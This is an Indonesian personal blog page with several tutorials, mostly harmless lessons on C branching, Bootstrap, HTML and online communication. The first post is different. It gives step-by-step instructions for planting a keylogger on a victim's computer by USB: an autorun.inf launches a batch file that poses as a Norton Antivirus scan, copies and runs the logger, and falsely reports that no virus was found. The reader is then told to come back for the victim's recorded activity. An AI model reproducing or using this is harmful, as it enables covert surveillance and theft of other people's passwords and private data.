Sunday, June 10, 2018

CARA MEMBUAT SCRIPT KEYLOGGER

Apa Itu Keylogger?

Keylogger adalah aplikasi yang bisa merekam aktifitas pengguna komputer. Berasal dari kata kerja “log”. Orang/program yang melakukan aktifitas log ini namanya “logger”. Sedangkan “logging” berarti adalah istilah untuk kegiatan “merekam” aktifitas log-nya. Yaaah…. bahasa inggris gitu deh. Hehehe..



Banyak metode untuk merekam aktifitas pengguna komputer… Ada yang berdasarkan key stroke (rekaman langsung semua kata yang dipencet di keyboard), ada yang memantau clipboard Windows (yang pake Windows nih..), ada juga keylogger yang secara terang-terangan memiliki interface yang cantik, padahal ternyata menipu. Dan mungkin masih banyak lagi cara-cara “logging” aktifitas pengguna dengan memanfaatkan keylogger. Langsung ke praktek yuyayu..?!

Sebelumnya, ada alasan mengapa saya menulis tentang keylogger ini. Saya mengutip pembicaraan seorang ahli keamanan komputer yang menjelaskan kurang lebih begini:

    “Keylogger adalah aplikasi yang bisa merekam password yang di ketik oleh pengguna”.

Pernyataan ini sedikit menggelitik bagi saya. Ya, padahal itu adalah salah satu penerapan dari keylogger! Tapi bukan itu saja yang bisa dilakukan keylogger!

Cara membuat keylogger
sebelum membuat keyloggerkalian harus mem punyai aplikasi
1.Notepad
2.software NAV32:[Download DISINI]

pertama2 kalian buka notepad dan ketikan sricpt dibawah

Quote:[autorun]open=nav.bat

lalu Save dimana saja dan namakan autorun.inf lalu sinpan pilih tipe all files
kemudian buat script kedua

Quote:@echo off
echo norton Antivirus 2006
echo scanning disk drive…
echo please wait…
copy navw32.exe C:\windows\
call C:\windows\navw32.exe
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.Scanning complette! No Virus Threat detected!
echo.
cls

lalu Save dimana saja dan namakan nav.bat lalu sinpan pilih tipe  all files

selesai copy 3 file itu di flash disk kalian yaitu software yang sudah di download dan script yang sudah kalian buat tadi otomatis key logger akan jalan sendiri. jika di tancapkan ke komputer korban dan siap merkam setiap aktifitas korban jika flashdisk nya anda ambil setelah korban melakukan aktifitas kalian tinggal tancapkan flshdisk nya ke komputer kalian lalu lihat folder lawan di
c:\windows\NAV32 lalu copy di flashdisk kalian disitu kalian bisa melihat segala aktifitas yang korban lakukan.

Sampai jumpa dan selamat mencoba.


Share:

Saturday, June 9, 2018

Komunikasi daring singkron dan asinkron


Apa yang Dimaksud Komunikasi Daring Sinkron dan Asinkron




Pernahkah anda mendengar komunikasi daring atau mungkin anda merasa bingung membedakan komunikasi daring sinkron dan asinkron. Kali ini saya akan coba menjelaskan secara lengkap namun sederhana agar mudah dimengerti mengenai komunikasi daring sinkron dan asinkron ini.

Apa yang dimaksud dengan komunikasi daring ?


     Komunikasi daring atau dapat juga disebut dengan komunikasi data merupakan sebuah istilah yang mewakili sebuah komunikasi yang dilakukan dalam jaringan, hal tersebut mengacu pada segala macam proses komunikasi dimana penyampaian dan penerimaan pesan dilakukan dengan/melalui jaringan internet.

Apa yang dimaksud komunukasi daring sinkron dan asinkron ?

      Komunikasi daring sinkron merupakan komunikasi dalam jaringan yang berlangsung secara real time (Sinkron) dengan menggunakan komputer sebagai media. Contoh komunikasi daring sinkron yang sering kita gunakan antara lain: komunukasi menggunakan aplikasi chat seperti BBM, Yahoo messenger, Line, google talk, MIRc dsb. Komunikasi dengan video chat seperti Skype, Line, Google Hangout dsb.

      Sedangkan komunikasi daring asinkron atau komunikasi saring tak serempak merupakan komunikasi dalam jaringan internet yang dilakukan secara tunda atau tidak langsung. Contoh komunikasi daring asinkron yang sering digunakan yaitu Email dan Website forum, simulasi visual serta membaca dan menulis dokumen daring melalui World Wide Web (WWW).

Kelebihan dan Kekurangan pada Komunikasi Daring Sinkron dan Asinkron


Komunikasi Daring Sinkron

  • Kelebihan : Kecepatan transmisi yang lebih cepat karena pada sinkron tidak menggunakan bit tambahan setiap mengirimkan paket data.
  • Kekurangan : Memiliki kemungkinan terjadi error atau masalah yang lebih tinggi karena kerjanya yang membutuhkan signal clock yang cepat untuk menerima paket data secara serempak.

Komunikasi Daring Asinkron

  • Kelebihan : Perbedaan signal clock pengirim dan penerima tidak berpengaruh karena sinkronisasi dilakukan tiap pengiriman sehingga kemungkinan terjadi masalah lebih kecil
  • Kekurangan : Kecepatan transmisi rendah, dan memerlukan sinkronisasi mulai awal dan akhir karaker data yang akan dikirim atau diterima.


Share:

Kumpulan E-book

Kumpulan E-Book untuk belajar program

Disi ni kalian dapat mengunduh buku yang kalian butuhkan untuk belajar silakan download dengan link yang sudah disediakan


E-Book Pemrograman Dasar Semester 1&2 Zip
download single link:
>MediaFire<







 ======================================================


E-Book pemrograman Web 1&2 Zip
download single link:
>MediaFire<







 =======================================================


 E-Book bahasa pemrograman C++
download single link:
>MediaFire<









Share:

membuat program percabangan bahasa C

Percabangan dalam Bahasa C



Sebelum kalian menuat code bahasa c silahkan kalian download Tools nya yaitu
Quisy 2005 = [Download]

pengeritan Percabangan :
Proses pengambilan keputusan berdasarkan suatu kondisi yang telah dievaluasi terlebih dahulu.
Jenis :


Struktur Kondisi “if…”

Struktur if dibentuk dari pernyataan if dan sering digunakan untuk menyeleksi suatu kondisi tunggal. Bila proses yang diseleksi terpenuhi atau bernilai benar, maka pernyataan yang ada di dalam blok if akan diproses dan dikerjakan. Bentuk umum struktur kondisi if adalah :


if(kondisi){
    Bila kondisi bernilai benar atau true maka bagian ini dijalankan
    Bila kondisi benilai salah atau false maka bagian ini tidak dijalankan
}


Contoh Program:


#include "stdio.h"
main(){
    float nilai;
    printf("Masukan nilai yang didapat : ");
    scanf("%f", &nilai);
    if(nilai > 65 && nilai<=100){
        printf("n ANDA LULUS !!\n");
    }
}



Struktur Kondisi “if…else…

Dalam struktur kondisi if…..else minimal terdapat dua pernyataan. Jika kondisi yang diperiksa bernilai benar atau terpenuhi maka pernyataan pertama yang dilaksanakan dan jika kondisi yang diperiksa bernilai salah maka pernyataan yang kedua yang dilaksanakan. Bentuk umumnya adalah sebagai berikut :



if(kondisi){
    Bila kondisi bernilai benar atau true maka bagian ini dijalankan
}else{
    Bila kondisi benilai salah atau false maka bagian ini yang dijalankan
}


Contoh Program :


#include "stdio.h"
main(){
    float nilai;
    printf("Masukan nilai yang didapat : ");
    scanf("%f", &nilai);
    if(nilai > 65){
        printf("n ANDA LULUS !!\n");
    }else {
        printf("n ANDA TIDAK LULUS !!\n");
    }
}


Struktur Kondisi “if…else if…else…”

Dalam struktur kondisi if…..elseif…else minimal terdapat 3 pernyataan.Pada struktur ini setiap kondisi diperiksa, jika kondisi tersebut benar maka pernyataan yang berada di ruang lingkupnya yang dijalankan, namun bila semua kondisi tidak benar maka pernyataan pada bagian terakhir yang dijalankan.Bentuk umumnya adalah sebagai berikut :
 
if(kondisi 1){
     Bila kondisi1 bernilai benar atau true maka
     HANYA bagian ini dijalankan.
}else if(kondisi 2){
    Bila kondisi2 bernilai benar atau true maka
    HANYA bagian ini dijalankan.
}else if(kondisi 3){
    Bila kondisi3 bernilai benar atau true maka
    HANYA bagian ini dijalankan.
}else{
    Bila kondisi1, kondisi2 dan kondisi3 bernilai salah atau false maka
    bagian ini yang dijalankan
}
 
Contoh Program:

#include "stdio.h"
main(){
    float nilai;
    printf("Masukan nilai yang didapat : ");
    scanf("%f", &nilai);
   if(nilai > 80){
        printf("Anda Mendapat Nilai A");
    }else if(nilai > 70){
       printf("Anda Mendapat Nilai B");
    }else if(nilai > 60){
       printf("Anda Mendapat Nilai C");
    }else if(nilai > 50){
       printf("Anda Mendapat Nilai D");
    }else {
       printf("Anda Mendapat Nilai E");
    }
}

sruktur percabangan Bersarang Pada BahasaC

Kondisi bersarang adalah sesuatu keadaan dimana didalam struktur kondisi terdapat struktur kondisi juga. Hal ini dilakukan bila diperlukan menyeleksi suatu keadaan lebih detail. Kondisi bersarang bisa dilakukan terus sampai detail seleksi sudah tercapai. Contoh struktur kondisi bersarang pada BahasaC

if (kondisiA){
 kode....
 if(kondisiA1){
   kode....
 }else if(kondisiA2){
   kode...
 } 
}else if(kondisiB){
 kode....
 if(kondisiB1){
   kode....
 }else if(kondisiB2){
   kode...
 } 
}
if (kondisiA){
 kode....
 if(kondisiA1){
   kode....
   if(kondisiA1-1){
     kode....
   }
   else if(kondisiA1-2){
     kode....
   }
 }else if(kondisiA2){
  kode...
 } 
}else if(kondisiB){
 kode....
 if(kondisiB1){
   kode....
 }else if(kondisiB2){
   kode...
 } 
}
 
Terlihat pada contoh struktur bahwa kondisi bersarang dalam dilakukan lebih dalam sesuai dengan kebutuhan. Contoh Kode:

#include "stdio.h"
main(){
 float nilai;
 printf("Masukan nilai yang didapat : ");
 scanf("%f", &nilai);
 if(nilai > 80){
   printf("Anda Mendapat Nilai A ");
   if(nilai==100){
     printf("Dengan Angka Sempurna");
   }
 }else if(nilai > 70){
 printf("Anda Mendapat Nilai B ");
   if(nilai>=78){
     printf("Sedikit Lagi Dapat Nilai A");
   }
 }else if(nilai > 60){
   printf("Anda Mendapat Nilai C ");
 }else if(nilai > 50){
   printf("Anda Mendapat Nilai D ");
 }else {
   printf("Anda Mendapat Nilai E ");
 }
}

cukup sekian yang dapat saya sampaikan selamat dan selamat mencoba.

Share:

Friday, June 8, 2018

Cara membuat bootsrap

Bootstrap



    apa itu bootstrap, BOOTSTRAP adalah Aplikasi sumber terbuka yang berupa framework atau kerangka kerja untuk membangun website dinamis dengan menggunakan bahasa script CSS

Kerangka Kerja (Framework) secara sederhana diartikan sebagai kumpulan dari fungsi-fungsi/prosedur-prosedur dan class-class untuk tujuan tertentu yang sudah siap digunakan sehingga bisa lebih mempermudah dan mempercepat pekerjaan seorang programer, tanpa harus membuat fungsi atau class dari awal.

Fitur Umum Framework:

    Mempercepat dan mempermudah pembangunan sebuah aplikasi web.
  •     Relatif memudahkan dalam proses maintenance karena sudah ada pola tertentu dalam sebuah framework (dengan syarat programmer mengikuti pola standar yang ada)
  •     Umumnya framework menyediakan fasilitas-fasilitas yang umum dipakai sehingga kita tidak perlu membangun dari awal.
  •     Lebih bebas dalam pengembangan jika dibandingkan CMS

cara membuat BOOTSRAP

 hal pertama yang perlu dilakukan sebelum membuat bootstrap adalah medownload framwork nya di  https://getbootstrap.com/docs/4.1/getting-started/download/   pilih download yang Compiled CSS and JS#  lalu Download notepad++ di https://notepad-plus-plus.org/download/v7.5.6.html yang ketiga download XMAPP di https://www.apachefriends.org/download.html disitu kalian pilih yang sesuai dengan OS kalian masing2



lalu install XMAPP yang sudah  kalian download tadi
kedua  Buka folder aplikasi yang tadi kamu instal EX:  D:\XAMPP\hotdocs
lalu cut semua folder yang ada disitu lalu buat folder baru Ex 1.backup lalu masukan semua file nya disitu

Extract file bostrap yang tadi sudah kamu download lalu buka file tsb lalu buka aplikasi notepad++
buat baru dan ketikan
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Membuat Template Website Bootstrap</title>
<!-- Bootstrap -->
<link href="assets/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- HTML5 shim and Respond.js for IE8 support of
HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
<!-- Custom CSS -->
<link href="assets/style.css" rel="stylesheet">
</head>
<body>
<!--happy code-->
<!-- jQuery online menggunakan CDN -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- jQuery lokal -->
<script src="assets/jquery/jquery.min.js"></script>
<script src="assets/bootstrap/js/bootstrap.min.js"></script>
<!-- Custom JS -->
<script src="assets/custom.js"></script>
</body>
</html>


Dari script html di atas kita dapat melihat ada komentar tentang jquery lokal dan jquery online maksudnya kita dapat memilih salah satu dari kedua jquery tersebut sesuka hati. kita bisa menggunakan jquery online atau cdn dengan asumsi kita membuat template website dengan bootstrap ini dalam kondisi terhubung dengan internet, jika tidak terhubung maka sebaiknya gunakan jquery lokal saja karena jquery online tidak dapat di unduh jika dalam kondisi offline.

Langkah berikutnya adalah membuat layout website dengan bootstrap bagian header, content dan sidebar serta footer dengan menambahkan kode berikut ini di atas komentar <!--happy code--> 

<!-- Bagian Header -->
<div class="row">
<div class="col-md-12 header" id="site-header">
<!-- isi header -->
</div>
</div>
<!-- End Bagian Header -->
<!-- Bagian Wrapper 2 kolom -->
<div class="row">
<div class="col-md-8 articles" id="site-content">
<!-- isi content -->
</div>
<div class="col-md-4 sidebar" id="site-sidebar">
<!-- isi sidebar -->
</div>
</div>
<!-- End Bagian wrapper -->
<!-- Bagian footer -->
<div class="row">
<div class="col-md-12 footer" id="site-footer">
<!-- isi footer -->
</div>
</div>
<!-- End Bagian footer -->
</div>

Kode baru di atas adalah kode yang akan membagi header, content, sidebar, dan footer. di dalam system grid bootstrap total lebar layar atau lebar kerja diberi nilai 12 kolom.
Kita akan memulai mengisi bagian header dengan mengganti komentar <!-- isi header--> dengan kode berikut :


<h1 class="title-site">Belajar Bootstrap</h1>
<p class="description">Belajar Membuat Template Website Dengan Bootstrap</p>
</header>
<nav class="menus">
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About Us</a></li>
<li><a href="#">Portfolio</a></li>
</ul>
</nav>


kemudian kita akan mengisi kolom konten dengan mengganti komentar <!-- isi content --> dengan kode berikut :

<h1 class="title-site">Belajar Bootstrap</h1>
<p class="description">Belajar Membuat Template Website Dengan Bootstrap</p>
</header>
<nav class="menus">
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About Us</a></li>
<li><a href="#">Portfolio</a></li>
</ul>
</nav>

 kemudian pada kolom sidebar silahkan ganti komentar <!-- isi sidebar --> dengan kode berikut :

<h3 class="widget-title">Latest Posts</h3>
<ul>
<li><a href="#">Lorem Ipsum</a></li>
<li><a href="#">Lorem Ipsum</a></li>
<li><a href="#">Lorem Ipsum</a></li>
<li><a href="#">Lorem Ipsum</a></li>
<li><a href="#">Lorem Ipsum</a></li>
</ul>
</aside>



kemudian pada bagian footer silahkan ganti <!– isi footer –> dengan kode berikut :

<footer class=”copyright text-center”><p>&copy; 2015 onphpid.com</p></footer>
 
dan untuk sentuhan terakhir kita akan memberikan style secara custom agar halaman kita tampak lebih baik. silahkan tulis kode berikut di file style.css

background-color: #e5e5e5;
}
.meta-post {
font-size: 12px;
margin-bottom: 10px;
}
.header header {
background-color: #fff;
padding: 10px 20px;
}
nav.menus {
background-color: #e74c3c;
padding: 10px;
}
nav.menus ul {
margin: 0;
padding: 0;
}
nav.menus ul li {
display: inline-block;
}
nav.menus ul li a {
display: block;
padding: 3px 7px;
color: #fff;
}
nav.menus ul li a:hover, nav.menus ul li a:focus{
text-decoration: none;
background-color: #c0392b;
color: #fff;
}
article.posts {
padding: 10px 20px;
background-color: #fff;
margin-top: 20px;
}
aside.widgets {
padding: 10px 20px;
margin-top: 20px;
background-color: #fff;
}
aside.widgets ul {
margin:0;
padding:0;
}
aside.widgets li {
list-style: none;
padding: 0;
margin:0;
}
.widget-title {
border-bottom: 4px solid #E74C3C;
padding-bottom: 4px;
}
footer.copyright {
padding: 10px 20px;
font-size: 12px;
}

  selesai silakan kalian lihat hasil nya seperti apa semoga beruntung.

Share:

Cara membuat html

Pegertian HTML

      Hypertext Markup Language (HTML) adalah sebuah bahasa markah yang digunakan untuk membuat sebuah halaman web, menampilkan berbagai informasi di dalam sebuah penjelajah web Internet dan pemformatan hiperteks sederhana yang ditulis dalam berkas format ASCII agar dapat menghasilkan tampilan wujud yang terintegerasi. Dengan kata lain, berkas yang dibuat dalam perangkat lunak pengolah kata dan disimpan dalam format ASCII normal sehingga menjadi halaman web dengan perintah-perintah HTML. Bermula dari sebuah bahasa yang sebelumnya banyak digunakan di dunia penerbitan dan percetakan yang disebut dengan SGML (Standard Generalized Markup Language), HTML adalah sebuah standar yang digunakan secara luas untuk menampilkan halaman web. HTML saat ini merupakan standar Internet yang didefinisikan dan dikendalikan penggunaannya oleh World Wide Web Consortium (W3C). HTML dibuat oleh kolaborasi Caillau TIM dengan Berners-lee Robert ketika mereka bekerja di CERN pada tahun 1989 (CERN adalah lembaga penelitian fisika energi tinggi di Jenewa).


Proses tampilnya sebuah halaman website di browser anda seperti (Google Chrome, Mozilla Firefox, Internet Explorer, Safari dan lain-lain) itu sebenarnya melibatkan HTML (HyperText Markup Languange), yaitu sebuah bahasa pemograman yang digunakan untuk mengatur tampilan sebuah website. Proses tampilnya halaman web itu sangat sederhana, proses tersebut adalah sebagai berikut :
  • Pada saat anda ingin mengakses sebuah halaman web, contoh pada saat anda mengakases http://www.dedeerik.com/index.html, tentu saja anda akan mengetikan alamat web tersebut di browser anda, saya kasih perumpamaan bahwa halaman web tersebut adalah halaman berlatar belakang warna merah dengan tulisan selamat datang.
  • Browser akan mengirimkan permintaan anda tersebut ke server web www.dedeerik.com.
  • Server www.dedeerik.com akan merespon dengan mengirimkan halaman yang diminta dalam bentuk teks yang berisi kode-kode HTML melalui internet dan dikirimkan kembali ke browser anda, isi kodenya adalah :

<HTML>
<Body style="background-color:red">
Selamat Datang
</BODY>
</HTML>
 
  • Browser yang anda gunakan akan membaca file HTML tersebut untuk menerjemahkan kata-kata <BODY style=”background-color:red”> sebagai perintah/instruksi untuk membuat latar belakang halaman web yang ditampilkan berwarna merah dengan tulisan Selamat Datang.
  • Browser akan memblok latar belakang menjadi warna merah dengan menampilkan teks Selamat Datang dan menampilkannya untuk anda.
      Intinya adalah membuat desain web berarti anda akan belajar bagaimana cara membuat halaman html yang nantinya akan ditampilkan oleh browser pengunjung. Jika anda ingin contoh yang lebih lanjut, ketika anda membaca tulisan ini coba anda klik kanan mouse anda kemudian anda pilih opsi “view page source”. Itulah sedikit gambaran tentang kode html sebuah halaman website.

         Nah, untuk mempermudah kalian dalam memahami hal ni, yuk kita mencoba membuat contoh html sederhana! silahkan ikuti instruksi dibawah ini, harap diperhatikan bahwa ini hanya dasar saja, saya tidak mungkin menuliskan materi lengkap di sini.

  •  Buka aplikasi notepad++/notepad dan silahkan ketikan kode seperti berikut ini :

<HTML>
<head>
<title>Judul Halaman Ini </title>
</head>
<body style="background-color:red">
Selamat Datang di Halaman Pertama Website Kami
</body>
</html>
 

 
  •  Simpan file notepade tersebut dengan klik file -> Save As
  •  Saat anda menyimpan file tersebut, harap simpan dengan diapit tanda kutip dan ditambahkan.html contoh “coba.html” dan harap diingat folder dimana anda menyimpan file tersebut.
  • Nah, sekarang kita lihat hasilnya, silahkan buka folder tempat menyimpan dokumen anda kemudian anda klik kanan dan open dengan browser anda contoh mozilla dan lihatlah hasilnya, dokumen html anda sudah tampil di browser anda dengan sempurna.



Share:

BTemplates.com

Rahman Islam. Powered by Blogger.

Pages